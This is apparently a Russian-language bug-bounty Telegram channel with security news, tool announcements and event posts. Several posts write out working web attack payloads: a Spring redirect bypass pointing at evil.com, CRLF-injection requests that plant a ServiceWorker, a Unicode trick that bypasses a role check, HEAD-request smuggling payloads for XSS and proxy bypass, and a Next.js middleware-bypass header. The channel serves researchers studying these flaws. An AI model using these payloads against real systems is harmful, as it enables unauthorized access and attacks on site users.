SHADOW:Group
11.6K subscribers
106 photos
47 videos
19 files
822 links
Чат: @shadow_chat_tg

Рекламу не размещаю.

Админ - @shdwpwn
Download Telegram
🙏 Розыгрыш проходок BUGS ZONE 3.0

В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.

Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥3
↔️ Open Redirect и SSRF в Spring

Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.

Символ «левой квадратной скобки» [ в сегменте юзеринфо может привести к тому, что UriComponentsBuilder в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.

http://target.com/redirect?url=https://target.com%5b@evil.com


Подробнее по ссылке.

#web #redirect #ssrf
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍28🔥5
Forwarded from BlackFan
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)

Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.

Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type

Используя CRLF Injection оба этих условия легко выполняются:

XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>


JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.

Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.

Для этого формируем код ServiceWorker с Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})


И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E


Также иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
10👍22🔥4
💳 Про инъекции в JSON

JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.

Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}


В данном примере производится очистка входных данных, блокирующая создание администратора. Однако, если на бэке популярный в Python анализатор ujson, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}


Более подробно об этом и других кейсах читайте в статье по ссылке.

#web #bypass #priveesc
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍32🔥22😁2🤔1😢1
Forwarded from wr3dmast3r vs pentest
Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨‍💻

В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей 😻

Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥20👍4
🪲 Дисклоз уязвимостей в программе BI.ZONE Bug Bounty

Ребята из @bizone_bb раскрыли две уязвимости на их платформе. Респект им и @guleroman за находки.

1️⃣Уязвимость, позволяющая админу любой программы менять данные других пользователей, что приводит к захвату аккаунтов багхантеров или лишению доступа в кабинет других админов программ.

https://bugbounty.bi.zone/reports/5647

2️⃣Broken Access Control, позволяющий загрузить файл и прикрепить его ко всем отчетам и комментариям на платформе от имени автора отчета.

https://bugbounty.bi.zone/reports/5646

#web #idor #ato
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍9
🔃 WebSocketChecker для Burp Suite

Подвезли расширение для поиска утечек данных в WebSocket-сообщениях. Автоматически находит ключи API, токены и другие секреты.

Ссылка на GitHub

#web #tools #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
👍26🔥7🤯1😢1
Набагхантил на еду!
Спасибо Т-Банку 🥰
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥35😁35🤯6😢1
По результатам 2024 года вошел в топ-3 на @bizone_bb. Сдавал, да и в целом багхантил, достаточно мало, что видно по количеству отчетов. Но если садился, то старался сдавать в основном баги с высокой критичностью, что видно по грейду и рейтингу. Ниже немного статистики.

Принято - 50
Дубликатов - 29 (большая часть high/critical)

Из принятых:
Critical - 14
High - 11
Medium - 19
Low - 6

Результат мог быть и лучше, если бы я тратил больше свободного времени на багхантинг, но, в целом, и так не плохо. Отдельное спасибо ребятам за всякие ивенты, подарки и прочие ништяки, это всегда круто.
110🔥64👍16🎄1
Forwarded from BI.ZONE Bug Bounty
😆 (Не)секретный чатик багхантеров

А вы знаете, что у нашего комьюнити есть чат, в котором общаются исследователи и команда платформы? Там уже больше 250 человек, не хватает только вас!

Залетайте в чат, чтобы:

🔵Общаться с другими хантерами.
🔵Получать помощь и делиться опытом.
🔵Быть на связи с командой платформы.
🔵Оставаться в курсе новостей.
🔵Вместе посещать багбаунти-ивенты.
🔵Делиться мемами и просто болтать о багхантинге.

Присоединяйтесь, будем вместе прокачиваться в работе с уязвимостями ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10🔥6😢4
common_security_issues_in_financially-orientated.pdf.pdf
8.6 MB
🤨 С вас 1e-1 рублей

На практике часто приходится сталкиваться с тестированием платёжных систем. Данная методичка поможет пентестерам проводить более тщательный анализ безопасности таких систем. На проекте также воспользовался данным материалом.

Краткое содержание:
➡️Уязвимости типа Time-of-Check-Time-of-Use (TOCTOU) и Race Condition;
➡️Манипуляции с параметрами;
➡️Атаки повторного воспроизведения (Replay Attacks);
➡️Ошибки округления;
➡️Проблемы обработки числовых данных;
➡️Уязвимости, связанные с номерами карт;
➡️Динамическое ценообразование, цены с допуском и реферальные схемы;
➡️Перебор и угадывание данных (Enumeration and Guessing);
➡️Проблемы криптографии;
➡️Загружаемые и виртуальные товары;
➡️Скрытые и небезопасные backend-API;
➡️Использование тестовых данных в production-среде;
➡️Арбитраж валют при пополнении/покупке и выводе/возврате средств.

Документ переведён на русский язык, но оригинал на английском также сохранён. Когда встретится кривой перевод, всегда можно свериться с оригинальным текстом страницей выше.

Сохраняйте себе, чтобы не потерять!

#материал
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥27👍10😁2
🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах

Раскрыли подробности CVE-2024-33452. При обработке HTTP/1.1-запросов lua-nginx-module некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.

Пример

Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle находится в теле HEAD-запроса:

HEAD / HTTP/1.1
Host: localhost
Content-Length: 52

GET /smuggle HTTP/1.1
Host: localhost


Однако lua-nginx-module интерпретирует его как два отдельных запроса, что приводит к рассинхронизации прокси-серверов в цепочке.

Сценарии атак

Прокси-серверы, использующие lua-nginx-module, уязвимы к этой атаке (например, Kong Gateway, Apache APISIX и другие).

Пример с Kong Gateway

Если Kong работает самостоятельно, уязвимость не представляет особой опасности. Но если Kong используется в связке с фронт-прокси (например, Nginx, Cloudflare и т. д.), злоумышленник может:
1. Внедрять вредоносные ответы (например, XSS-атаки).
2. Обходить защиту фронт-прокси (например, обход Cloudflare).
3. Перехватывать ответы других пользователей.

1️⃣ Внедрение XSS через смуглинг

Этот сценарий позволяет заставить всех пользователей загрузить вредоносный ответ с XSS-кодом, даже если сайт использует обычную страницу Apache.

HEAD / HTTP/1.1
Host: localhost
Content-Length: 122

HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive

GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:


Результат: Все пользователи, отправляющие обычные запросы, получат XSS-скрипт в ответе.

2️⃣ Обход защиты фронт-прокси (Cloudflare)

Допустим, Cloudflare блокирует доступ к /admin. Злоумышленник может скрыть GET-запрос к /admin внутри HEAD-запроса и обойти защиту.

Пример:

HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com


Результат: Cloudflare не увидит GET-запрос, и злоумышленник сможет обойти защиту.

3️⃣ Кража ответов других пользователей

Этот метод позволяет рассинхронизировать очередь ответов на сервере и захватить ответы других пользователей.

Пример атаки
1. Атакующий отправляет HEAD-запрос с внедрённым GET-запросом.
2. Сервер ошибочно интерпретирует тело как отдельный запрос.
3. Ответ попадает не атакующему, а следующему пользователю, а атакующий может забрать ответ жертвы.

Подробности

Более подробное описание читайте в блоге по ссылке.

#web #hrs #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥24👍6
Forwarded from BlackFan
Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}


В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.
2🔥14👍6🤯2
↔️ Next.js и повреждённый middleware

Раскрыли подробности новой уязвимости в Next.JS CVE-2025-29927. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.

Как это работает

Next.js использует x-middleware-subrequest для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Пример запроса:
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Результат: Middleware полностью игнорируется, и запрос проходит, как будто пользователь авторизован.

Другие сценарии атак

🔹CSP bypass
Если middleware устанавливает Content-Security-Policy и другие заголовки - они будут проигнорированы.

🔹DoS через Cache Poisoning
Например, если сайт делает rewrite на основе геолокации, можно закэшировать "пустую" или ошибочную версию страницы, нарушив доступность для других.

Кого это касается
Приложения, использующие middleware для авторизации или других чувствительных задач. Если middleware не используется - уязвимость малозначима (кроме DoS-сценариев).

📖 Подробнее:
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

#web #bac #cache #dos #csp
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28👍4
Forwarded from Standoff 365
Хотите задать вопрос топовым хакерам из Synack и HackerOne?

В нашем канале коммуникации 15 апреля в 19:00 (мск) пройдет стрим в формате ответов на все ваши вопросы с топовыми хакерами Hussein Daher и Nikhil "Niksthehacker" Shrivastava!

Что будет на стриме?

🔥 Как гости стрима пришли в багбаунти и что стало точкой невозврата?
🔥 На каких уязвимостях они фокусируются и почему?
🔥 Как понять, когда копать глубже, а когда менять таргет?
🔥 Самые запоминающиеся репорты, инсайты и лайфхаки.

Кто в эфире?

🔹 Hussein Daher — этичный хакер, который с 2014 года нашел более 1500 уязвимостей более чем в 800 компаниях. Основатель WebImmunify․com, компании, которая занимается пентестом и консультациями по кибербезопасности.
🔹Nikhil Shrivastava (Niksthehacker) — Synack Legend Hacker — помог найти более 1500 уязвимостей в продуктах Google, Microsoft, Tesla. Выступал на DEF CON, BlackHat и RSA.

Модератором стрима выступит Александр Мошков.

💡 Готовьте вопросы — спикеры ответят на все, что вы захотите узнать!
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10🤔1😢1
Forwarded from InfoSec VK Hub
🖥 Вы просили — мы открыли!

Стартуем с практикой раскрытия отчетов от багхантеров! На платформе Standoff Bug Bounty уже доступны первые 7 отчетов, подготовленные cutoffurmind, kedr и circuit.

Делимся инсайтами авторов🔹

circuit:
«Начинающие багхантеры должны как-то учиться. Учиться на чужих примерах — это отличный вариант. Да и программы будут получать больше репортов после дисклозов, мне так кажется. Кого-то эти отчеты смогут мотивировать на поиск уязвимостей».

cutoffurmind:
«Это редкий вариант эксплуатации blind RCE, когда на выходе имеем только exit status код процесса. А еще уязвимость была найдена после анализа исходного кода проекта на GitHub».


kedr:
«Помимо обмена опытом (а большая часть багбаунти — это изучение находок других хантеров), дисклозы создают ощущение «движухи» и подталкивают тебя к тому, чтобы тоже пойти и потыкать программу. Кроме того, можно посмотреть, как компания оценивает уязвимости и высчитывает критичность — ведь одна и та же XSS может быть как medium, так и high-critical».


🔹 Поддерживаем мнение авторов — что может быть более вдохновляющим, чем чужой репорт?

🔹Поэтому не собираемся на этом заканчивать, следите за обновлениями — в будущем вас ждут новые дисклозы.

🔹 Надеемся, что опубликованные отчеты натолкнут вас на новые поиски — ждем ваши отчеты в программу VK Bug Bounty!

И не забывайте, что с Bounty Pass можно копить бонусы к выплатам на целый год.

VK Security

#bugbounty #bountypass #reports
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥6😢2🤔1